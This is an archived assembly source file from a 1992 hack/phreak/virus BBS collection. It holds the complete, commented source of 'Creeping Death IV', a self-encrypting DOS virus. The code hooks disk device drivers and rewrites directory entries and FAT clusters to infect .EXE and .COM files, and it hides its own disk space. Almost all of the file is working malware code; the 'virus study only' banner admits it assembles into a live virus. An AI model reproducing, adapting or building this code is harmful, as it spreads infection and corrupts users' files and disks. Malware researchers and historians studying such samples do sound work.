home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / CDSET4.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  23KB  |  656 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ;*****************************************************************************;
  25. ;                                                                             ;
  26. ; Creeping Death IV (Encrypting, try to find it)                              ;
  27. ;                                                                             ;
  28. ; (c) Copyright 1992 by Bit Addict                                            ;
  29. ;                                                                             ;
  30. ;*****************************************************************************;
  31.  
  32. code segment public 'code'
  33.         assume    cs:code, ds:code, es:code
  34.             org    100h
  35.  
  36. ;*****************************************************************************;
  37. ;                                                                             ;
  38. ; Actual start of virus. In this part the virus initializes the stack and     ;
  39. ; adjusts the device driver used by dos to read and write from floppy's and   ;
  40. ; hard disks. Then it will start the orginal exe or com-file                  ;
  41. ;                                                                             ;
  42. ;*****************************************************************************;
  43.  
  44. Encrypt:    mov    bx,offset Main-9
  45. Repeat:        xor    byte ptr [bx+8],bl
  46.         inc    bx
  47.         jnz    Repeat
  48.  
  49. Main:        mov    sp,600h            ; init stack
  50.         inc    Counter
  51.  
  52. ;*****************************************************************************;
  53. ;                                                                             ;
  54. ; Get dosversion, if the virus is running with dos 4+ then si will be 0 else  ;
  55. ; si will be -1                                                               ;
  56. ;                                                                             ;
  57. ;*****************************************************************************;
  58.  
  59. DosVersion:    mov    ah,30h            ; fn 30h = Get Dosversion
  60.         int    21h            ; int 21h
  61.         cmp    al,4            ; major dosversion 
  62.         sbb    di,di
  63.         mov    byte ptr ds:drive[2],-1    ; set 2nd operand of cmp ah,??
  64.  
  65. ;*****************************************************************************;
  66. ;                                                                             ;
  67. ; Adjust the size of the codesegment, with dos function 4ah                   ;
  68. ;                                                                             ;
  69. ;*****************************************************************************;
  70.  
  71.         mov    bx,60h            ; Adjust size of memory block
  72.         mov    ah,4ah            ; to 60 paragraphs = 600h bytes
  73.         int    21h            ; int 21h
  74.  
  75.         mov    ah,52h            ; get internal list of lists
  76.         int    21h            ; int 21h
  77.  
  78. ;*****************************************************************************;
  79. ;                                                                             ;
  80. ; If the virus code segment is located behind the dos config memory block the ;
  81. ; code segment will be part of the config memory block making it 61h          ;
  82. ; paragraphs larger. If the virus is not located next to the config memory    ;
  83. ; block the virus will set the owner to 8h (Dos system)                       ;
  84. ;                                                                             ;
  85. ;*****************************************************************************;
  86.  
  87.         mov    ax,es:[bx-2]        ; segment of first MCB
  88.         mov    dx,cs            ; dx = MCB of the code segment
  89.         dec    dx
  90. NextMCB:    mov    ds,ax            ; ax = segment next MCB
  91.         add    ax,ds:[3]
  92.         inc    ax
  93.         cmp    ax,dx            ; are they equal ?
  94.         jne    NextMCB            ; no, not 1st program executed
  95.         cmp    word ptr ds:[1],8
  96.         jne    NoBoot
  97.         add    word ptr ds:[3],61h    ; add 61h to size of block
  98. NoBoot:        mov    ds,dx            ; ds = segment of MCB
  99.         mov    word ptr ds:[1],8    ; owner = dos system
  100.  
  101. ;*****************************************************************************;
  102. ;                                                                             ;
  103. ; The virus will search for the disk paramenter block for drive a: - c: in    ;
  104. ; order to find the device driver for these block devices. If any of these    ;
  105. ; blocks is found the virus will install its own device driver and set the    ;
  106. ; access flag to -1 to tell dos this device hasn't been accesed yet.          ;
  107. ;                                                                             ;
  108. ;*****************************************************************************;
  109.  
  110.         cld                ; clear direction flag
  111.         lds    bx,es:[bx]        ; get pointer to first drive
  112.                         ; paramenter block
  113.  
  114. Search:        cmp    bx,-1            ; last block ?
  115.         je    Last
  116.         mov    ax,ds:[bx+di+15h]    ; get segment of device header
  117.         cmp    ax,70h            ; dos device header ??
  118.         jne    Next            ; no, go to next device
  119.         xchg    ax,cx
  120.         mov    byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive 
  121.                         ; has not been accessed"
  122.         mov    si,offset Header-4    ; set address of new device
  123.         xchg    si,ds:[bx+di+13h]    ; and save old address
  124.         mov    ds:[bx+di+15h],cs
  125. Next:        lds    bx,ds:[bx+di+19h]    ; next drive parameter block
  126.         jmp    Search
  127.  
  128. ;*****************************************************************************;
  129. ;                                                                             ;
  130. ; If the virus has failed in starting the orginal exe-file it will jump here. ;
  131. ;                                                                             ;
  132. ;*****************************************************************************;
  133.  
  134. Install:    int    20h
  135.  
  136. ;*****************************************************************************;
  137. ;                                                                             ;
  138. ; An file is opend with this name, but the file will not be found.            ;
  139. ;                                                                             ;
  140. ;*****************************************************************************;
  141.  
  142. File:        db    "C:",255,0
  143.  
  144. ;*****************************************************************************;
  145. ;                                                                             ;
  146. ; If none of these devices is found it means the virus is already resident    ;
  147. ; and the virus wasn't able to start the orginal exe-file (the file is        ;
  148. ; corrupted by copying it without the virus memory resident). If the device   ;
  149. ; is found the information in the header is copied.                           ;
  150. ;                                                                             ;
  151. ;*****************************************************************************;
  152.  
  153. Last:        jcxz    install
  154.  
  155. ;*****************************************************************************;
  156. ;                                                                             ;
  157. ; The information about the dos device driver is copyed to the virus code     ;
  158. ; segment                                                                     ;
  159. ;                                                                             ;
  160. ;*****************************************************************************;
  161.  
  162.         mov    ds,cx            ; ds = segment of Device Driver
  163.         add    si,4
  164.         push    cs
  165.         pop    es
  166.         mov    di,offset Header
  167.         movsw
  168.         lodsw
  169.         mov    es:StrBlock,ax
  170.         mov    ax,offset Strategy
  171.         stosw
  172.         lodsw
  173.         mov    es:IntBlock,ax
  174.         mov    ax,offset Interrupt
  175.         stosw
  176.         movsb
  177.  
  178. ;*****************************************************************************;
  179. ;                                                                             ;
  180. ; Deallocate the environment memory block and start the this file again, but  ;
  181. ; if the virus succeeds it will start the orginal exe-file.                   ;
  182. ;                                                                             ;
  183. ;*****************************************************************************;
  184.  
  185.         push    cs
  186.         pop    ds
  187.         mov    bx,ds:[2ch]        ; environment segment
  188.         or    bx,bx            ; =0 ?
  189.         jz    Boot
  190.         mov    es,bx
  191.         mov    ah,49h            ; deallocate memory
  192.         int    21h
  193.         xor    ax,ax
  194.         mov    di,1
  195. Seek:        dec    di            ; scan for end of environment
  196.         scasw
  197.         jne    Seek
  198.         lea    si,ds:[di+2]        ; es:si = start of filename
  199.         jmp    short Exec
  200.  
  201. Boot:        mov    ds,ds:[16h]        ; es = parent PSP
  202.         mov    bx,ds:[16h]        ; bx = parent PSP of Parent PSP
  203.         xor    si,si
  204.         sub    bx,1
  205.         jnb    Exec
  206.         mov    ax,cs
  207.         dec    ax
  208.         mov    ds,ax
  209.         mov    cx,8
  210.         mov    si,8
  211.         mov    di,0ffh
  212. Count:        lodsb
  213.         or    al,al
  214.         loopne    Count
  215.         not    cx
  216.         and    cx,7
  217. NextByte:    mov    si,8
  218.         inc    di
  219.         push    di
  220.         push    cx
  221.         rep    cmpsb
  222.         pop    cx
  223.         pop    di
  224.         jne    NextByte
  225. BeginName:    dec    di
  226.         cmp    byte ptr es:[di-1],0
  227.         jne    BeginName
  228.         mov    si,di
  229.         mov    bx,es
  230. Exec:        push    bx
  231.         push    cs
  232.         pop    ds
  233.         mov    bx,offset Param
  234.         mov    ds:[bx+4],cs        ; set segments in EPB
  235.         mov    ds:[bx+8],cs
  236.         mov    ds:[bx+12],cs
  237.         pop    ds
  238.         push    cs
  239.         pop    es
  240.  
  241.         mov    di,offset f_name    ; copy name of this file
  242.         push    di
  243.         mov    cx,40
  244.         rep    movsw
  245.         push    cs
  246.         pop    ds
  247.  
  248.         mov    ah,3dh            ; open file, this file will
  249.         mov    dx,offset File        ; not be found but the entire
  250.         int    21h            ; directory is searched and
  251.         pop    dx            ; infected
  252.  
  253.         mov    ax,4b00h        ; execute file
  254.         int    21h
  255.         mov    ah,4dh            ; get exit-code
  256.         int    21h
  257.         mov    ah,4ch            ; terminate (al = exit code)
  258.         int    21h
  259.  
  260. ;*****************************************************************************;
  261. ;                                                                             ;
  262. ; Installation complete                                                       ;
  263. ;                                                                             ;
  264. ;*****************************************************************************;
  265. ;                                                                             ;
  266. ; The next part contains the device driver used by creeping death to infect   ;
  267. ; directory's                                                                 ;
  268. ;                                                                             ;
  269. ; The device driver uses only the strategy routine to handle the requests.    ;
  270. ; I don't know if this is because the virus will work better or the writer    ;
  271. ; of this virus didn't know how to do it right.                               ;
  272. ;                                                                             ;
  273. ;*****************************************************************************;
  274.  
  275.  
  276. Strategy:    mov    cs:RequestOffset,bx
  277.         mov    cs:RequestSegment,es
  278.         retf
  279.  
  280. Interrupt:    push    ax            ; driver strategy block
  281.         push    bx
  282.         push    cx            ; save registers
  283.         push    dx
  284.         push    si
  285.         push    di
  286.         push    ds
  287.         push    es
  288.  
  289.         les    bx,cs:Request
  290.         push    es
  291.         pop    ds
  292.         mov    al,ds:[bx+2]        ; Command Code
  293.  
  294.         cmp    al,4            ; Input
  295.         je    Input
  296.         cmp    al,8            ; Output
  297.         je    Output
  298.         cmp    al,9
  299.         je    Output
  300.  
  301.         call    DoRequest
  302.  
  303.         cmp    al,2            ; Build BPB
  304.         jne    Return
  305.         lds    si,ds:[bx+12h]        ; copy the BPB and change it
  306.         mov    di,offset bpb_buf    ; into one that hides the virus
  307.         mov    es:[bx+12h],di
  308.         mov    es:[bx+14h],cs
  309.         push    es            ; copy
  310.         push    cs
  311.         pop    es
  312.         mov    cx,16
  313.         rep    movsw
  314.         pop    es
  315.         push    cs
  316.         pop    ds
  317.         mov    al,ds:[di+2-32]        ; change
  318.         cmp    al,2
  319.         adc    al,0
  320.         cbw
  321.         cmp    word ptr ds:[di+8-32],0    ; >32mb partition ?
  322.         je    m32            ; yes, jump to m32
  323.         sub    ds:[di+8-32],ax        ; <32mb partition
  324.         jmp    short Return
  325. m32:        sub    ds:[di+15h-32],ax    ; >32mb partition
  326.         sbb    word ptr ds:[di+17h-32],0
  327. Return:        pop    es            ; return to caller
  328.         pop    ds
  329.         pop    di
  330.         pop    si
  331.         pop    dx
  332.         pop    cx
  333.         pop    bx
  334.         pop    ax
  335.         retf
  336.  
  337. Output:        mov    cx,0ff09h        ; check if disk changed
  338.         call    check
  339.         jz    InfectSector        ; no, just infect sector
  340.         call    DoRequest        ; yes, write virus to disk
  341.         jmp    short inf_dsk
  342.  
  343. InfectSector:    jmp    _InfectSector        ; infect sector
  344. Read:        jmp    _Read            ; read sector
  345. ReadError:    add    sp,16            ; error during request
  346.         jmp    short Return
  347.  
  348. Input:        call    check            ; check if disk changed
  349.         jz    Read            ; no, read sector
  350. inf_dsk:    mov    byte ptr ds:[bx+2],4    ; yes, write virus to disk
  351.         cld                ; save last part of request
  352.         lea    si,ds:[bx+0eh]
  353.         mov    cx,8
  354. save:        lodsw
  355.         push    ax
  356.         loop    save
  357.         mov    word ptr ds:[bx+14h],1    ; read 1st sector on disk
  358.         call    ReadSector
  359.         jnz    ReadError
  360.         mov    byte ptr ds:[bx+2],2    ; build BPB
  361.         call    DoRequest
  362.         lds    si,ds:[bx+12h]        ; ds:si = BPB
  363.         mov    di,ds:[si+6]        ; size of root directory
  364.         add    di,15            ; in sectors
  365.         mov    cl,4
  366.         shr    di,cl
  367.         mov    al,ds:[si+5]
  368.         cbw
  369.         mov    dx,ds:[si+0bh]
  370.         mul    dx            ; ax=fat sectors, dx=0
  371.         add    ax,ds:[si+3]
  372.         add    di,ax
  373.         push    di            ; save it on stack
  374.         mov    ax,ds:[si+8]        ; total number of sectors
  375.         cmp    ax,dx            ; >32mb
  376.         jnz    more            ; no, skip next 2 instructions
  377.         mov    ax,ds:[si+15h]        ; get number of sectors
  378.         mov    dx,ds:[si+17h]
  379. more:        xor    cx,cx            ; cx=0
  380.         sub    ax,di            ; dx:ax=number is data sectors
  381.         sbb    dx,cx
  382.         mov    cl,ds:[si+2]        ; cx=sectors / cluster
  383.         div    cx            ; number of clusters on disk
  384.         cmp    cl,2            ; 1 sector/cluster ?
  385.         sbb    ax,-1            ; number of clusters (+1 or +2)
  386.         push    ax            ; save it on stack
  387.         call    Convert            ; get fat sector and offset in
  388.         mov    byte ptr es:[bx+2],4    ; sector
  389.         mov    es:[bx+14h],ax
  390.         call    ReadSector        ; read fat sector
  391. again:        lds    si,es:[bx+0eh]
  392.         add    si,dx
  393.         sub    dh,cl            ; has something to do with the
  394.         adc    dx,ax            ; encryption of the pointers
  395.         mov    word ptr cs:[gad+1],dx
  396.         cmp    cl,1            ; 1 sector / cluster
  397.         jne    Ok
  398. SmallModel:    not    di            ; this is used when the
  399.         and    ds:[si],di        ; clusters are 1 sector long
  400.         pop    ax
  401.         push    ax
  402.         inc    ax
  403.         push    ax
  404.         mov    dx,0fh
  405.         test    di,dx
  406.         jz    here
  407.         inc    dx
  408.         mul    dx
  409. here:        or    ds:[si],ax
  410.         pop    ax
  411.         call    Convert
  412.         mov    si,es:[bx+0eh]
  413.         add    si,dx
  414. Ok:        mov    ax,ds:[si]
  415.         and    ax,di
  416.         mov    dx,di            ; allocate cluster
  417.         dec    dx
  418.         and    dx,di
  419.         not    di
  420.         and    ds:[si],di
  421.         or    ds:[si],dx
  422.         cmp    ax,dx            ; cluster already allocated by
  423.         pop    ax            ; the virus ?
  424.         pop    di
  425.         mov    word ptr cs:[pointer+1],ax
  426.         je    _Read_            ; yes, don't write it and go on
  427.         mov    dx,ds:[si]
  428.         push    ds
  429.         push    si
  430.         mov    byte ptr es:[bx+2],8    ; write
  431.         call    DoRequest        ; write the adjusted sector to
  432.         pop    si            ; disk
  433.         pop    ds
  434.         jnz    _Read_
  435.         call    ReadSector        ; read it again
  436.         cmp    ds:[si],dx        ; is it written correctly ?
  437.         jne    _Read_            ; no, can't infect disk
  438.         dec    ax
  439.         dec    ax            ; calculate the sector number
  440.         mul    cx            ; to write the virus to
  441.         add    ax,di
  442.         adc    dx,0
  443.         push    es
  444.         pop    ds
  445.         mov    word ptr ds:[bx+12h],2
  446.         mov    ds:[bx+14h],ax        ; store it in the request hdr
  447.         test    dx,dx
  448.         jz    less
  449.         mov    word ptr ds:[bx+14h],-1
  450.         mov    ds:[bx+1ah],ax
  451.         mov    ds:[bx+1ch],dx
  452. less:        mov    ds:[bx+10h],cs
  453.         mov    ds:[bx+0eh],100h
  454.         mov    byte ptr es:[bx+2],8    ; write it
  455.         call    EncryptWrite1
  456.  
  457. _Read_:        mov    byte ptr ds:[bx+2],4    ; restore this byte
  458.         std                ; restore other part of the
  459.         lea    di,ds:[bx+1ch]        ; request
  460.         mov    cx,8
  461. load:        pop    ax
  462.         stosw
  463.         loop    load
  464. _Read:        call    DoRequest        ; do request
  465.  
  466.         mov    cx,9
  467. _InfectSector:    mov    di,es:[bx+12h]        ; get number of sectors read
  468.         lds    si,es:[bx+0eh]        ; get address of data
  469.         sal    di,cl            ; calculate end of buffer
  470.         xor    cl,cl
  471.         add    di,si
  472.         xor    dl,dl
  473.         push    ds            ; infect the sector
  474.         push    si
  475.         call    find
  476.         jcxz    no_inf            ; write sector ?
  477.         mov    al,8
  478.         xchg    al,es:[bx+2]        ; save command byte
  479.         call    DoRequest        ; write sector
  480.         mov    es:[bx+2],al        ; restore command byte
  481.         and    byte ptr es:[bx+4],07fh
  482. no_inf:        pop    si
  483.         pop    ds
  484.         inc    dx            ; disinfect sector in memory
  485.         call    find
  486.         jmp    Return            ; return to caller
  487.  
  488. ;*****************************************************************************;
  489. ;                                                                             ;
  490. ; Subroutines                                                                 ;
  491. ;                                                                             ;
  492. ;*****************************************************************************;
  493.  
  494. find:        mov    ax,ds:[si+8]        ; (dis)infect sector in memory
  495.         cmp    ax,"XE"            ; check for .exe
  496.         jne    com
  497.         cmp    ds:[si+10],al
  498.         je    found
  499. com:        cmp    ax,"OC"            ; check for .com
  500.         jne    go_on
  501.         cmp    byte ptr ds:[si+10],"M"
  502.         jne    go_on
  503. found:        test    word ptr ds:[si+1eh],0ffc0h ; file to big
  504.         jnz    go_on                ; more than 4mb
  505.         test    word ptr ds:[si+1dh],03ff8h ; file to small
  506.         jz    go_on                ; less than  2048 bytes
  507.         test    byte ptr ds:[si+0bh],1ch    ; directory, system or
  508.         jnz    go_on                ; volume label
  509.         test    dl,dl            ; infect or disinfect ?
  510.         jnz    rest
  511. pointer:    mov    ax,1234h        ; ax = viral cluster
  512.         cmp    ax,ds:[si+1ah]        ; file already infected ?
  513.         je    go_on            ; yes, go on
  514.         xchg    ax,ds:[si+1ah]        ; exchange pointers
  515. gad:        xor    ax,1234h        ; encryption
  516.         mov    ds:[si+14h],ax        ; store it on another place
  517.         loop    go_on            ; change cx and go on
  518. rest:        xor    ax,ax            ; ax = 0
  519.         xchg    ax,ds:[si+14h]        ; get pointer
  520.         xor    ax,word ptr cs:[gad+1]    ; Encrypt
  521.         mov    ds:[si+1ah],ax        ; store it on the right place
  522. go_on:        rol    word ptr cs:[gad+1],1    ; change encryption
  523.         add    si,32            ; next directory entry
  524.         cmp    di,si            ; end of buffer ?
  525.         jne    find            ; no, do it again
  526.         ret                ; return
  527.  
  528. check:        mov    ah,ds:[bx+1]            ; get number of unit
  529. drive:        cmp    ah,-1                ; same as last call ?
  530.         mov    byte ptr cs:[drive+2],ah    ; set 2nd parameter
  531.         jne    changed
  532.         push    ds:[bx+0eh]            ; save word
  533.         mov    byte ptr ds:[bx+2],1        ; disk changed ?
  534.         call    DoRequest
  535.         cmp    byte ptr ds:[bx+0eh],1        ; 1=Yes
  536.         pop    ds:[bx+0eh]            ; restore word
  537.         mov    ds:[bx+2],al            ; restore command
  538. changed:    ret                    ; return
  539.  
  540. ReadSector:    mov    word ptr es:[bx+12h],1        ; read sector from disk
  541.  
  542. DoRequest:    db    09ah            ; call 70:?, orginal strategy
  543. StrBlock    dw    ?,70h
  544.         db    09ah            ; call 70:?, orginal interrupt
  545. IntBlock    dw    ?,70h
  546.         test    byte ptr es:[bx+4],80h    ; error ? yes, zf = 0
  547.         ret                ; return
  548.  
  549. Convert:    cmp    ax,0ff0h        ; convert cluster number into
  550.         jae    fat_16            ; an sector number and offset
  551.         mov    si,3            ; into this sector containing
  552.         xor    word ptr cs:[si+gad-1],si    ; the fat-item of this
  553.         mul    si                ; cluster
  554.         shr    ax,1
  555.         mov    di,0fffh
  556.         jnc    cont
  557.         mov    di,0fff0h
  558.         jmp    short cont
  559. fat_16:        mov    si,2
  560.         mul    si
  561.         mov    di,0ffffh
  562. cont:        mov    si,512
  563.         div    si
  564.         inc    ax
  565.         ret
  566.  
  567. EncryptWrite1:    push    ds
  568.         push    cs
  569.         pop    ds
  570.         push    es
  571.         push    cs
  572.         pop    es
  573.         cld
  574.         mov    cx,9
  575.         mov    si,offset Encrypt
  576.         mov    di,offset EncryptWrite2
  577.         mov    al,ds:[si+5]
  578.         add    al,11
  579.         mov    ds:[si+5],al
  580.         cbw
  581.         mov    dx,offset Main-1
  582.         sub    dx,ax
  583.         mov    ds:[si+1],dx
  584.         rep    movsb
  585.         mov    cl,10
  586.         mov    si,offset DoRequest
  587.         rep    movsb
  588.         mov    cl,9
  589.         mov    si,offset Encrypt
  590.         rep    movsb
  591.         mov    ax,0c31fh
  592.         stosw
  593.         pop    es
  594.         jmp    EncryptWrite2
  595.  
  596. Counter        dw    0            ; this will count the number of
  597.                         ; systems that are infected by
  598.                         ; this virus
  599.  
  600. Param:        dw    0,80h,?,5ch,?,6ch,?    ; parameters for the
  601.                         ; exec-function
  602.  
  603. Header        db    7 dup(?)        ; this is the header for the
  604.                         ; device driver
  605.  
  606. Request        equ    this dword        ; address of the request header
  607. RequestOffset    dw    ?
  608. RequestSegment    dw    ?
  609.  
  610. bpb_buf:    db    32 dup(?)        ; buffer for BPB
  611. EncryptWrite2:    db    30 dup(?)
  612. f_name:        db    80 dup(?)        ; Buffer for the filename used
  613.                         ; by the exec-function
  614.  
  615.  
  616.  
  617. ;*****************************************************************************;
  618. ;                                                                             ;
  619. ; The End                                                                     ;
  620. ;                                                                             ;
  621. ;*****************************************************************************;
  622.  
  623. code ends
  624.  
  625. end Encrypt
  626.  
  627. ;****************************************************************************;
  628. ;                                                                            ;
  629. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  630. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  631. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  632. ;                     -=]                            [=-                     ;
  633. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  634. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  635. ;                     -=]                            [=-                     ;
  636. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  637. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  638. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  639. ;                                                                            ;
  640. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  641. ;                                                                            ;
  642. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  643. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  644. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  645. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  646. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  647. ; Is. Keep This Code in Responsible Hands!                                   ;
  648. ;                                                                            ;
  649. ;****************************************************************************;
  650.  
  651. ;─────────────────────────────────────────────────────────────────────────;
  652. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  653. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  654. ;─────────────────────────────────────────────────────────────────────────;
  655.  
  656.